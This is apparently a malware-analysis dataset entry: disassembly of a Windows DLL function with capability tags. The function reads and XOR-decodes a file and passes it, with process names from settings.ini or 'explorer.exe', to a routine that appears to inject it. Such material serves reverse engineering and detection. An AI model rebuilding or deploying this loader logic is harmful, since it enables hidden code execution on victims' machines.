Function at 0x1800010d0
Capabilities:
Get file size
Read file on windows

Disassembly:
push rdi
sub rsp, 0x740
mov rdi, rsp
mov ecx, 0x1d0
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x18001a010]
xor rax, rsp
mov qword [rsp + 0x738], rax
lea rcx, [0x18001e01f]
call fcn.18000de3c
mov qword [rsp + 0x40], 0xffffffffffffffff
mov qword [rsp + 0x48], 0xffffffffffffffff
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x58], 0
lea rdx, [0x18001bc30]
lea rcx, [rsp + 0x70]
call fcn.180001580
lea rdx, [0x1800168d4]
lea rcx, [rsp + 0x70]
call fcn.1800015d0
lea rdx, [0x1800168d8]
lea rcx, [rsp + 0x70]
call fcn.1800015d0
lea rdx, [0x18001bc30]
lea rcx, [rsp + 0x2a0]
call fcn.180001580
lea rdx, [0x1800168f0]
lea rcx, [rsp + 0x2a0]
call fcn.1800015d0
lea rdx, str.settings.ini
lea rcx, [rsp + 0x2a0]
call fcn.1800015d0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 1
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor r8d, r8d
mov edx, 0x80000000
lea rcx, [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x40], rax
cmp qword [rsp + 0x40], 0xffffffffffffffff
jne 0x1800011da
jmp 0x1800014d4
xor edx, edx
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x6e4], eax
mov eax, dword [rsp + 0x6e4]
mov qword [rsp + 0x728], rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov rcx, qword [rsp + 0x728]
mov r8, rcx
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
jne 0x18000122b
jmp 0x1800014d4
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x6f4]
mov r8d, dword [rsp + 0x6e4]
mov rdx, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x18000125d
jmp 0x1800014d4
mov dword [rsp + 0x708], 0
jmp 0x18000127a
mov eax, dword [rsp + 0x708]
inc eax
mov dword [rsp + 0x708], eax
mov eax, dword [rsp + 0x6e4]
cmp dword [rsp + 0x708], eax
jae 0x1800012de
mov eax, dword [rsp + 0x708]
mov rcx, qword [rsp + 0x50]
movzx eax, byte [rcx + rax]
xor eax, 0x11
mov ecx, dword [rsp + 0x708]
mov rdx, qword [rsp + 0x50]
mov byte [rdx + rcx], al
mov eax, dword [rsp + 0x708]
mov ecx, dword [rsp + 0x708]
imul ecx, dword [rsp + 0x708]
mov rdx, qword [rsp + 0x50]
movzx eax, byte [rdx + rax]
xor eax, ecx
mov ecx, dword [rsp + 0x708]
mov rdx, qword [rsp + 0x50]
mov byte [rdx + rcx], al
jmp 0x18000126a
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 1
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor r8d, r8d
mov edx, 0x80000000
lea rcx, [rsp + 0x2a0]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x48], rax
cmp qword [rsp + 0x48], 0xffffffffffffffff
jne 0x180001341
mov r9d, 0x7cdba6e5
mov r8d, dword [rsp + 0x6e4]
mov rdx, qword [rsp + 0x50]
lea rcx, str.explorer.exe
call fcn.180001850
jmp 0x1800014d4
xor edx, edx
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x70c], eax
mov eax, dword [rsp + 0x70c]
mov qword [rsp + 0x730], rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov rcx, qword [rsp + 0x730]
mov r8, rcx
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov qword [rsp + 0x58], rax
cmp qword [rsp + 0x58], 0
jne 0x180001392
jmp 0x1800014d4
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x6f4]
mov r8d, dword [rsp + 0x70c]
mov rdx, qword [rsp + 0x58]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x1800013c4
jmp 0x1800014d4
mov dword [rsp + 0x710], 0
mov dword [rsp + 0x714], 0
jmp 0x1800013ec
mov eax, dword [rsp + 0x710]
inc eax
mov dword [rsp + 0x710], eax
mov eax, dword [rsp + 0x6f4]
cmp dword [rsp + 0x710], eax
jae 0x1800014ca
mov eax, dword [rsp + 0x710]
mov rcx, qword [rsp + 0x58]
movzx eax, byte [rcx + rax]
cmp eax, 0xa
jne 0x180001481
mov eax, dword [rsp + 0x714]
shl rax, 1
mov qword [rsp + 0x720], rax
cmp qword [rsp + 0x720], 0x208
jae 0x180001437
jmp 0x18000143c
call fcn.1800028ac
xor eax, eax
mov rcx, qword [rsp + 0x720]
mov word [rsp + rcx + 0x4d0], ax
mov r9d, 0x7cdba6e5
mov r8d, dword [rsp + 0x6e4]
mov rdx, qword [rsp + 0x50]
lea rcx, [rsp + 0x4d0]
call fcn.180001850
test eax, eax
je 0x180001474
jmp 0x1800014ca
mov dword [rsp + 0x714], 0
jmp 0x1800014c5
mov eax, dword [rsp + 0x710]
mov rcx, qword [rsp + 0x58]
movzx eax, byte [rcx + rax]
cmp eax, 0xd
je 0x1800014c5
mov eax, dword [rsp + 0x710]
mov rcx, qword [rsp + 0x58]
movzx eax, byte [rcx + rax]
mov ecx, dword [rsp + 0x714]
mov word [rsp + rcx*2 + 0x4d0], ax
mov eax, dword [rsp + 0x714]
inc eax
mov dword [rsp + 0x714], eax
jmp 0x1800013dc
xor eax, eax
test eax, eax
jne 0x180001199
cmp qword [rsp + 0x50], 0
je 0x1800014f2
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, qword [rsp + 0x50]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
cmp qword [rsp + 0x48], 0xffffffffffffffff
je 0x180001505
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp qword [rsp + 0x40], 0xffffffffffffffff
je 0x180001518
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
mov rdi, rax
mov rcx, rsp
lea rdx, [0x180016f20]
call fcn.18000ddc8
mov rax, rdi
mov rcx, qword [rsp + 0x738]
xor rcx, rsp
call fcn.180002780
add rsp, 0x740
pop rdi
ret